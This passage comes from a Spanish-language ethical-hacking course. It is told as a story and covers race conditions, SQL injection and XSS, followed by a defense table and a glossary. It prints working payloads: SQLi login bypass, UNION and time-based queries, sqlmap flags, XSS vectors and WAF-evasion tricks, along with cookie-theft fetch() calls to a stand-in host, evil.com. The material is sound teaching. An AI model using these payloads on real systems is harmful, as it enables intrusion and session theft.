Ocurren cuando el sistema hace **dos operaciones al mismo tiempo** sobre un recurso compartido, pero el resultado correcto **dependía de que fueran en orden**. El ejemplo clásico: tenés $100 y pedís retirar $100 **cincuenta veces en paralelo**; todas leen "saldo $100" antes de que se descuente → retirás de más.

El enemigo técnico es el **Network Jitter** (la latencia impredecible de la red). Dos técnicas del curso para vencerlo y lograr una colisión perfecta:

- **Last-Byte Synchronization:** abrís 20 conexiones, mandás el **99% de cada petición** reteniendo el **último byte**, y cuando todas están "esperando", soltás los 20 últimos bytes **juntos**.
- **Single-Packet Attack:** con HTTP/2, empaquetás **20–30 peticiones en un solo paquete TCP**. Como viajan físicamente juntas, llegan sin *jitter* y el servidor las procesa en el mismo microsegundo.

Defensas: validación **estricta del flujo** en el backend, bloqueos atómicos, **rate limiting**, auditoría y conciliación de transacciones.

Acá resolvés labs como **"Venta de autos – El analista"**.

> 🔍 **Cómo verlo en el software:** capturás la acción sensible (canjear cupón, retirar saldo) en **Burp** y la mandás al **Repeater**; ahí agrupás varias copias y usás "*Send group in parallel*" (**single-packet attack**) para dispararlas **a la vez**. La señal del bug: la acción se aplica **más veces de las permitidas** (el cupón suma 20 veces, el saldo queda mal). Desde DevTools no se reproduce bien: necesitás la herramienta que sincroniza el envío.

🟦 ACTO 8 — Hablarle a la base de datos (SQL Injection)

(Clase 8)

Volvés al ataque técnico más famoso de todos.

> **SQL Injection** *ocurre cuando los datos del usuario se* **concatenan directamente** *en una consulta SQL, sin validarlos ni escaparlos, y el atacante* **cambia la estructura** *de la consulta.*

El ejemplo que no se te olvida más:

```
-- Consulta vulnerable:
SELECT * FROM users WHERE username = '$user' AND password = '$password'

-- Payload en el campo usuario:  admin' --
-- Consulta final:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
```

El `--` **comenta** el resto: el chequeo de contraseña desaparece y entrás como `admin`. Eso es una **tautología/bypass de login**.

Dónde buscar candidatos

Cualquier dato que termine dentro de una sentencia SQL:
- Buscadores (`?q=` , `?search=` → `LIKE '%...%'`).
- Filtros de menús desplegables (`?cat=`) — "*un menú fijo no puede mandar texto malicioso*" es una suposición falsa.
- **Ordenamiento** (`?orderby=` , `?sort=`) — ¡las consultas preparadas **no** parametrizan nombres de columna!
- **Logins** (el más atacado).
- IDs en rutas REST (`/api/items/45`), headers guardados en BD (`User-Agent` , `X-Forwarded-For`), cookies de sesión validadas en BD, y paginación (`?limit=` , `?offset=`).

Cómo detectarlo

Mandás caracteres especiales (`'` , `"` , `;` , `--`) y buscás **señales**: un error 500, un mensaje de error de BD en pantalla, un cambio de comportamiento, o una respuesta que **tarda distinto**. Si el error se muestra tal cual, ya te delata el **motor** (MySQL, PostgreSQL...).

> 🔍 **Cómo verlo en el software:** en el **Repeater de Burp**, agregá una `'` al valor del parámetro y reenviá: si la respuesta pasa a **500** o muestra un error de base de datos, hay inyección. Para **blind**, compará `' AND 1=1 --` (carga normal) vs `' AND 1=2 --` (carga vacía): si **cambian**, confirmaste. Para automatizar, guardás la petición (botón derecho → *Save item*) y se la pasás a **sqlmap** con `-r request.txt` .

Los tipos de SQLi

- **In-band (clásica):** ves el resultado en la misma pantalla.
- **UNION-based:** pegás el resultado de **otra** consulta. Primero averiguás cuántas columnas pide el backend (con `ORDER BY 1` , `2` , `3` ... hasta que rompe, o con `UNION SELECT NULL, NULL, NULL`), y después: `' UNION SELECT usuario, password FROM usuarios --`
- **Error-based:** provocás un error para que el motor **escupa datos** en el mensaje.
- **Blind (a ciegas):** no ves datos ni errores, pero **deducís** letra por letra.
- **Boolean-based:** hacés una pregunta verdadero/falso y comparás si la página cambia (`' AND 1=1 --` vs `' AND 1=2 --`).
- **Time-based:** le ordenás a la BD que **"se duerma"** si tu suposición es cierta, y medís con cronómetro (`' AND IF(1=1, SLEEP(5), 0) --`).
- **Out-of-band:** por otro canal (tarea de investigación del curso).

La herramienta: SQLmap

Automatiza la detección y explotación. Identifica el DBMS, prueba técnicas y descarta falsos positivos comparando respuestas. Flags clave:

```
sqlmap -u "https://aldeas.com/item?id=1"     # objetivo
sqlmap -r request.txt                         # carga una petición de Burp
   --level 1-5      # profundidad (headers, cookies en niveles altos)
   --risk 1-3       # intrusividad
   --technique BEUSTQ   # B=boolean E=error U=union S=stacked T=time Q=inline
   --dbms=mysql --threads 10
```

¿Un ORM me salva? No del todo

Un ORM o un *stored procedure* **no te hacen inmune**: la vulnerabilidad nace de **concatenar texto**, sin importar dónde. Un ORM se vuelve vulnerable con *raw queries* o cláusulas no parametrizables (`ORDER BY`); un SP, si adentro arma SQL dinámico. **La única defensa real: parametrización estricta (separar código de datos) + listas blancas** para identificadores. Sumá: **menor privilegio** en la cuenta de BD, **tipado estricto**, **ocultar errores** en producción y un **WAF** como capa extra.

🟩 ACTO 9 — El veneno en el navegador (XSS)

(Clase 9)

El último gran ataque del curso cambia el blanco: ya no es el servidor, es **el navegador de otra persona**.

> **Cross-Site Scripting (XSS)** *permite* **inyectar JavaScript** *en páginas que verán* **otros usuarios**. *El navegador de la víctima ejecuta ese código* **confiando** *en que viene del sitio legítimo.*

El mecanismo: mandás código malicioso en un input → el backend **no lo filtra** → la víctima entra a la página → su navegador **ejecuta** el script. El ejemplo mínimo: un buscador que refleja *"Resultados para: [input]"* y vos ponés `<script>alert('XSS')</script>` .

Dónde buscar candidatos

Cualquier punto donde tu entrada **se refleje en la respuesta** o modifique el **DOM**: buscadores, campos de perfil (nombres, descripciones), editores de texto enriquecido (WYSIWYG), **imágenes SVG** (soportan `<script>` nativo), documentos HTML/PDF renderizados *inline*, metadatos EXIF, y **mensajes/notificaciones en chats**.

Los tres tipos de XSS

- **Reflejado (no persistente):** el payload viaja en la **misma petición** (ej. un parámetro de URL) y el servidor lo refleja al toque. El servidor **no guarda nada**. Necesita **ingeniería social** (que la víctima haga clic en tu link):
  `https://banco.com/buscar?q=<script>alert('XSS')</script>`

- **Almacenado (persistente):** el payload se **guarda en la base de datos**. Cualquiera que visite esa sección lo ejecuta, **sin hacer clic en nada**. Es el más peligroso por su alcance masivo. Ejemplo: creás un ticket cuyo cuerpo es
  `Problema <img src="x" onerror="fetch('https://evil.com/log?cookie='+document.cookie)">`
  Horas después, un **empleado de soporte** abre el panel, la imagen falla, el `onerror` dispara, y **le robás la sesión**. *(Este es exactamente el patrón del lab **Snow Storm**, donde el feed renderiza el texto sin sanitizar: el ataque ejecuta en la sesión de quien mira el feed — conecta XSS del Acto 9 con el Session Hijacking del Acto 6.)*
- **DOM-based:** la vulnerabilidad está **100% en el cliente**; el servidor nunca ve el payload. Un JS inseguro de la página toma un dato de una fuente (**Source**, ej. `location.hash`) y lo mete en un **Sink** peligroso (`innerHTML`):
  `js document.getElementById("saludo").innerHTML = "Hola " + window.location.hash.substring(1);`
  `https://sitio.com/perfil#<img src=1 onerror=alert(1)>` → el navegador **no manda el** `#` al backend, pero el JS local lo inyecta y ejecuta.

Cómo detectarlo y el impacto real

Interceptás con Burp y mandás una sonda como `XSS" '<>/;`, y mirás en la respuesta si los `<` `>` pasaron **en crudo** o fueron **codificados** a entidades (`<`). Si pasaron crudos, probás cerrar el contexto: `">` `<script>alert(1)</script>` o `"><img src=x onerror=alert(1)>`.

> 🔍 **Cómo verlo en el software:** escribí una sonda única (ej. `zzz"'<b>`) en el campo (buscador, nombre de perfil, comentario) y después **buscá** `zzz` **en el HTML** de la respuesta (DevTools → botón derecho → *Ver código fuente*, o la pestaña *Response* de Burp). Si tu `<b>` aparece como **etiqueta real** (el texto se pone en **negrita**) en vez de como texto plano `<b>`, el sitio **no sanitiza** y es vulnerable. Para el **almacenado**, cargá la sonda, **recargá la página** y mirá si sigue ejecutándose.

El impacto:
- **Session Hijacking:** `<script>fetch('https://evil.com/log?c='+btoa(document.cookie))</script>` → robás la cookie (si **no** tiene `HttpOnly`, ¿ves por qué importaba el Acto 5?).
- **Redirección maliciosa** a phishing, y **reescritura del DOM** (un login falso encima del real).

Evasión de WAF y defensa

Si hay un filtro: alternás mayúsculas (`<sCrIpT>`), usás vectores alternativos (`<svg onload=alert(1)>`, `<body onload=...>`), **doble codificación** (`%253C`), o rompés la palabra clave (`<scr<script>ipt>` para que, al limpiar, se reconstruya).

La defensa principal es la **codificación de salida (output encoding)**: convertir `<` en `<` antes de renderizar. Sumá **frameworks que auto-escapan** (React, Angular), **DOMPurify** para sanitizar editores, y **CSP** (`Content-Security-Policy: default-src 'self'`) como defensa en profundidad.

🏁 Epílogo — Lo que aprendiste

Seis meses después, Lucía te da tu propio objetivo sin supervisión. Antes de empezar, cerrás los ojos y repetís lo que al principio no entendías:

> **El sistema siempre confía en algo que viene del lado del usuario. Mi trabajo es encontrar dónde confió de más. Y la autorización se verifica en el servidor. Siempre.**

Y ves cómo **todo era la misma historia** contada de nueve formas:

- **Inyecciones** (SQLi, XSS): el servidor no **separó** tus datos de su código.
- **Control de acceso** (IDOR, escalada): no verificó que el recurso **te correspondía**.
- **Autenticación** (JWT, sesiones, fuerza bruta): no verificó bien **quién eras**.
- **Configuración** (headers, `.env`, errores): confió de más en **rutas, archivos y defaults**.
- **Lógica de negocio** (race conditions): confió en que ibas a seguir **las reglas**.

🗺️ Mapa conceptual — el viaje completo



✅ Cuadro resumen final

Acto	Tema	Ataque estrella	Defensa de oro
1	Arquitectura y HTTP	(base) manipular parámetros/métodos	Validar en el backend
2	Reconocimiento	Enumeración (subdominios, puertos, rutas)	Reducir superficie, no exponer de más
3	Interceptación	Fuerza bruta / diccionario	Rate limiting, MFA, lockout
4	Reporte y CVSS	(medir, no atacar)	Comunicar impacto + CVSS
5	Misconfiguration	`.env` / `.git` filtrados, path traversal, CORS	Endurecer config, headers, ocultar errores
6	Acceso / Auth	IDOR + JWT forjado + escalada	Autorizar por objeto en el server; IDs opacos
7	Lógica de negocio	Race conditions (single-packet)	Validar flujo y estado, operaciones atómicas
8	Inyección	SQLi (UNION / blind)	Consultas preparadas + whitelist
9	XSS	Stored XSS → robo de sesión	Output encoding, CSP, DOMPurify

> **La madre de todas las preguntas, otra vez:** *¿el servidor está confiando en algo que controla el usuario, sin verificarlo?*

📖 Glosario (del curso)

Autenticación: probar quién sos. · **Autorización:** chequear qué podés hacer. · **2FA/MFA:** validar con dos+ factores (algo que sabés + algo que tenés). · **Pentesting:** simulación autorizada de un ataque. · **Hacking Ético:** auditoría ofensiva legal y con permiso. · **Scope:** lo que te autorizan a atacar. · **Proxy:** intermediario que ve/edita el tráfico (Burp). · **MitM (Man-in-the-Middle):** interponerse en una comunicación. · **Payload:** la carga/código del ataque. · **Hashing:** función de una sola vía que da una huella fija (integridad). · **Salt:** valor random que se agrega antes de hashear. · **Entropía:** cuán impredecible es un secreto. · **Token / Cookie de sesión:** tu pase mientras estás logueada. · **JWT:** token de 3 partes (header.payload.firma). · **IDOR / BOLA:** acceder a un objeto ajeno cambiando su ID. · **Escalada horizontal/vertical:** a otra cuenta igual / a un rol mayor. · **CSRF:** forzar a la víctima logueada a disparar una acción. · **XSS:** inyectar JS que corre en el navegador de otro. · **SQLi:** inyectar SQL en una consulta. · **WAF:** firewall de aplicaciones web. · **CVE:** una vulnerabilidad concreta publicada. · **CWE:** un tipo de debilidad. · **CVSS:** puntaje 0–10 de gravedad. · **CIA/CID:** Confidencialidad, Integridad, Disponibilidad. · **ASVS:** checklist de verificación de seguridad de OWASP. · **DDoS:** saturar un servicio para tirarlo. · **Buffer Overflow:** volcar más datos que el espacio en memoria para ejecutar código. · **Zero-Day:** vulnerabilidad sin parche conocido. · **Backdoor:** acceso oculto que saltea la autenticación. · **Phishing:** engaño por suplantación para robar credenciales. · **Ransomware:** malware que cifra datos y pide rescate. · **Botnet:** red de equipos infectados (C2). · **Exploit:** código que aprovecha una debilidad. · **Defensa en**

profundidad: varias capas de seguridad. · **Whitelisting:** permitir solo lo explícitamente autorizado. · **VPN:** túnel cifrado sobre redes públicas. · **OWASP:** fundación de seguridad web (Top 10, ASVS).

Cuento didáctico del curso Software Seguro — Curso Profesional de Ciberseguridad Web y Ethical Hacking. Uso educativo y de repaso personal.